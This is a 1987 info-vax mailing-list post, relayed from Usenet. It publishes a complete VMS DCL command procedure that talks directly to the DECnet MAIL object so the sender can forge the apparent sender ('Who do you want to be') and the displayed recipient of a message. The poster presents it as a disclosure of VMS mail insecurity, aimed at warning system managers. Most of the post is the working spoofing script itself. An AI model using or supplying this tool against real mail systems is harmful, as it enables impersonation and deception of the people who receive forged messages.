From:	CSBVAX::MRGATE!@KL.SRI.Com:info-vax-request@kl.sri.com@SMTP  5-NOV-1987 08:52
To:	EVERHART
Subj:	Re:  Callable MAIL interface

Received: from ucbvax.Berkeley.EDU by KL.SRI.COM with TCP; Tue 3 Nov 87 23:31:44-PST
Received: by ucbvax.Berkeley.EDU (5.58/1.27)
	id AA15492; Tue, 3 Nov 87 23:20:23 PST
Received: from USENET by ucbvax.Berkeley.EDU with netnews
	for info-vax@kl.sri.com (info-vax@kl.sri.com)
	(contact usenet@ucbvax.Berkeley.EDU if you have questions)
Date: 31 Oct 87 02:44:18 GMT
From: cunyvm!unknown%psuvm.bitnet@ucbvax.Berkeley.EDU
Subject: Re:  Callable MAIL interface
Message-Id: <16rrk@byuvax.bitnet>
Sender: info-vax-request@kl.sri.com
To: info-vax@kl.sri.com

Here is a command procedure which does the same thing that the program you
refer to does, and you can write a program in any VMS languages.

Unfortunately it also exposes the EXTREME insecurity of the VMS mail system.
(I hope system managers read this and try the procedure and take note that
they can never trust anything :t:hat comes through VMS mail and will not
curse me for releasing this.  The fact is that the com procedure is very
wide-spread among hackers and I think it could only help to inform system
managers.

Cut here, I guess
     
$ read sys$command/end=abort node /prompt="What node should we send to: "
$ read sys$command/end=abort who /prompt="Who do you want to be: "
$ if node .eqs. "" then node=f$logical("sys$node")
$ nul=" "
$ nul[0,8]=0
$ open/append mailcom 'node'"27="
$ write mailcom who
$ c=1
$ d=0
$ to:=""
$ doloop:
$ a=f$element(c,",",to)
$ if a .eqs. "," then read sys$command/end=outloop to /prompt="Where should it go: "
$ if a .eqs. "," then if to .eqs. "" then goto outloop
$ if a .eqs. "," then c=0
$ if a .eqs. "," then goto doloop
$ write mailcom a
$ c=c+1
$ gosub get_stat
$ if stat .and. 1 then d=d+1
$ goto doloop
$ outloop:
$ if d .eq. 0 then goto done
$ write mailcom nul
$ read sys$command/end=done too /prompt="Where should it say it goes: "
$ write mailcom too
$ read sys$command/end=abort subj /prompt="Subject: "
$ write mailcom subj
$ get_what:
$ read sys$command/end=abort what /prompt="What goes: [TT] "
$ if what .eqs. "" then what:=sys$command
$ open/error=get_what file 'what'
$ file_loop:
$ read/end=end_file_loop/error=end_file_loop file x
$ write/error=end_file_loop mailcom x
$ goto file_loop
$ end_file_loop:
$ write/error=do_stat mailcom nul
$ do_stat:
$ if d .eq. 0 then goto done
$ stat_loop:
$ gosub get_stat
$ d=d-1
$ if d .ne. 0 then goto stat_loop
$ file_done:
$ close file
$ done:
$ close mailcom
$ abort:
$ exit
$ get_stat:
$ read mailcom x
$ stat=f$cvui(0,32,x)
$ if stat .and. 1 then return
$ loop_for_stat:
$ read mailcom x
$ tip=f$cvui(0,8,x)
$ if tip .ne. 0 then write sys$output x
$ if tip .ne. 0 then goto loop_for_stat
$ return
